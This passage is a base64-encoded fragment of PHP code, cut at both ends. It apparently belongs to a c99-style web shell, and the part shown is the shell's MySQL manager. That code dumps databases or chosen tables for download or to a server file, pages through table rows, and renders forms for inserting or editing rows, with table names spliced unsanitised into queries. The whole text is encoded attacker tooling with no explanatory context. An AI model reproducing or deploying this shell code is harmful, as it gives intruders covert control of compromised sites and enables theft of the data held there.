ICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9mb3JtPiI7DQogICAgICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpcGxheSA9IHRydWU7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNldCA9IGFycmF5KCk7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgJHNldFsic29jayJdID0gJHNxbF9zb2NrOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICRzZXRbImRiIl0gPSAkc3FsX2RiOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICRkdW1wX291dCA9ICJkb3dubG9hZCI7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgJHNldFsicHJpbnQiXSA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNldFsi
bmwyYnIiXSA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNldFsiIl0gPSAwOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXRbImZpbGUiXSA9ICRkdW1wX2ZpbGU7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNldFsiYWRkX2Ryb3AiXSA9IHRydWU7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZG1wdGJscykpDQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2V0
WyJvbmx5dGFicyJdID0gZXhwbG9kZSgiOyIsICRkbXB0YmxzKTsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldCA9IG15c3FsX2R1
bXAoJHNldCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxfZHVtcF9kb3du
bG9hZCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIgLiBz
dHJsZW4oJHJldCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoIkNv
bnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIiAuIGJhc2VuYW1lKCRz
cWxfZHVtcF9maWxlKSAuICJcIjsiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ZWNobyAkcmV0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNl
aWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2Zp
bGUsICJ3Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGZwKQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBlY2hvICI8Yj5EdW1wIGVycm9yISBDYW4ndCB3cml0ZSB0byBcIiIgLiBodG1s
c3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKSAuICJcIiEiOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgZndyaXRlKCRmcCwgJHJldCk7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGVjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiIC4gaHRtbHNw
ZWNpYWxjaGFycyhyZWFscGF0aCgkc3FsX2R1bXBfZmlsZSkpIC4gIlwiICgiIC4gdmlld19zaXpl
KGZpbGVzaXplKCRzcWxfZHVtcF9maWxlKSkgLiAiKTwvYj4uIjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRv
IGRvITwvYj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBp
ZiAoJGRpcGxheSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgaWYgKCFlbXB0eSgkc3FsX3RibCkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2FjdCkpDQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk
c3FsX3RibF9hY3QgPSAiYnJvd3NlIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBD
T1VOVCgqKSBGUk9NIGAiIC4gJHNxbF90YmwgLiAiYDsiKTsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9X
IEZJRUxEUyBGUk9NIGAiIC4gJHNxbF90YmwgLiAiYDsiKTsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkdGJsX3N0cnVjdF9maWVsZHMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVz
dWx0KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxfbHMg
PiAkc3FsX2xlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgJHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVt
cHR5KCRzcWxfdGJsX3BhZ2UpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF90YmxfcGFnZSA9IDA7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0
eSgkc3FsX3RibF9scykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3RibF9scyA9IDA7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkc3Fs
X3RibF9sZSkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAkc3FsX3RibF9sZSA9IDMwOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGVycGFnZSA9ICRzcWxfdGJs
X2xlIC0gJHNxbF90YmxfbHM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFpc19u
dW1lcmljKCRwZXJwYWdlKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRwZXJwYWdlID0gMTA7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRudW1wYWdlcyA9ICRj
b3VudF9yb3dbMF0gLyAkcGVycGFnZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZSA9
IGV4cGxvZGUoIiAiLCAkc3FsX29yZGVyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBp
ZiAoY291bnQoJGUpID09IDIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGVbMF0gPT0gImQiKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAkYXNjX2Rlc2MgPSAiREVTQyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXNj
X2Rlc2MgPSAiQVNDIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAkdiA9ICJPUkRFUiBCWSBgIiAuICRlWzFdIC4gImAg
IiAuICRhc2NfZGVzYyAuICIgIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSAiIjsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0g
IlNFTEVDVCAqIEZST00gYCIgLiAkc3FsX3RibCAuICJgICIgLiAkdiAuICJMSU1JVCAiIC4gJHNx
bF90YmxfbHMgLiAiICwgIiAuICRwZXJwYWdlIC4gIiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQgKG15c3FsX3NtYXJ0
ZXJyb3IoKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGhyIHNpemU9XCIx
XCIgbm9zaGFkZT48Y2VudGVyPjxiPlRhYmxlICIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJs
KSAuICIgKCIgLiBteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpIC4gIiBjb2xzIGFuZCAiIC4gJGNv
dW50X3Jvd1swXSAuICIgcm93cyk8L2I+PC9jZW50ZXI+IjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8YSBocmVmPVwiIiAuICRzcWxfc3VybCAuICJzcWxfdGJsPSIgLiB1cmxl
bmNvZGUoJHNxbF90YmwpIC4gIiZzcWxfdGJsX2FjdD1zdHJ1Y3R1cmVcIj5bJm5ic3A7PGI+U3Ry
dWN0dXJlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPVwiIiAuICRzcWxfc3VybCAuICJzcWxfdGJsPSIg
LiB1cmxlbmNvZGUoJHNxbF90YmwpIC4gIiZzcWxfdGJsX2FjdD1icm93c2VcIj5bJm5ic3A7PGI+
QnJvd3NlPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPVwiIiAuICRzcWxfc3VybCAuICJzcWxfdGJsPSIg
LiB1cmxlbmNvZGUoJHNxbF90YmwpIC4gIiZzcWxfYWN0PXRibGR1bXAmdGhpc3RibD0xXCI+WyZu
YnNwOzxiPkR1bXA8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiIC4gJHNxbF9zdXJsIC4gInNxbF90
Ymw9IiAuIHVybGVuY29kZSgkc3FsX3RibCkgLiAiJnNxbF90YmxfYWN0PWluc2VydFwiPlsmbmJz
cDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVjdHVyZSIpDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxfdGJsX2Fj
dCA9PSAiaW5zZXJ0IikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgJHNxbF90YmxfaW5zZXJ0ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVt
cHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5z
ZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIiAuICRzcWxfdGJsIC4gImAi
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgLj0g
IiBXSEVSRSIgLiAkc3FsX3RibF9pbnNlcnRfcTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgTElNSVQgMTsiOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5
LCAkc3FsX3NvY2spIG9yIHByaW50ICgiPGJyPjxicj4iIC4gbXlzcWxfc21hcnRlcnJvcigpKTsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdmFsdWVzID0gbXlzcWxf
ZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNl
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlcyA9IGFycmF5KCk7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9y
ZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0j
MzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxiPkZpZWxk
PC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+RnVuY3Rpb248L2I+PC90ZD48dGQ+
PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBmb3JlYWNoICgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpDQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkdiA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBlY2hvICI8dHI+PHRkPjxiPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRuYW1lKSAuICI8L2I+PC90
ZD48dGQ+IiAuICRmaWVsZFsiVHlwZSJdIC4gIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90
YmxfaW5zZXJ0X2Z1bmN0c1siIC4gaHRtbHNwZWNpYWxjaGFycygkbmFtZSkgLiAiXVwiPjxvcHRp
b24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5N
RDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+
PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lO
U0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9u
PjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+
PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNB
U0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxv
cHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5G
Uk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5Q
RVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9U
SU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29w
dGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBl
PVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiIC4gaHRtbHNwZWNpYWxjaGFycygkbmFt
ZSkgLiAiXVwiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pIC4g
IlwiIHNpemU9NTA+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgJGkrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT1cInJh
ZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIxXCIiOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9x
KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgY2hlY2tlZCI7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGVjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNx
bF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9
XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIiAuIGh0bWxzcGVj
aWFsY2hhcnMoJHNxbF90YmxfaW5zZXJ0X3EpIC4gIlwiPiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBl
Y2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9m
b3JtPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxfdGJs
X2FjdCA9PSAiYnJvd3NlIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90
YmxfbGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aHIgc2l6ZT1c
IjFcIiBub3NoYWRlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxp
bWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPW11bHRpcGFnZVwiIGhlaWdodD1cIjEy
XCIgd2lkdGg9XCIxMFwiIGFsdD1cIlBhZ2VzXCI+Jm5ic3A7IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgJGIgPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBm
b3IgKCRpID0gMDskaSA8ICRudW1wYWdlczskaSsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRpICog
JHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSAqICRwZXJwYWdlICsgJHBlcnBhZ2UgIT0g
JHNxbF90YmxfbGUpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiIC4g
JHNxbF9zdXJsIC4gInNxbF90Ymw9IiAuIHVybGVuY29kZSgkc3FsX3RibCkgLiAiJnNxbF9vcmRl
cj0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKSAuICImc3FsX3RibF9scz0iIC4gKCRp
ICogJHBlcnBhZ2UpIC4gIiZzcWxfdGJsX2xlPSIgLiAoJGkgKiAkcGVycGFnZSArICRwZXJwYWdl
KSAuICJcIj48dT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkaTsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGkgKiAkcGVycGFnZSAhPSAkc3FsX3RibF9scykg
b3IgKCRpICogJHBlcnBhZ2UgKyAkcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpDQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgZWNobyAiPC91PjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkaSAv
IDMwID09IHJvdW5kKCRpIC8gMzApKSBhbmQgKCRpID4gMCkpDQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgZWNobyAiPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgZWNobyAiJm5ic3A7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBpZiAoJGkgPT0gMCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiZW1wdHkiOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVu
XCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1l
PVwic3FsX2RiXCIgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKSAuICJcIj48
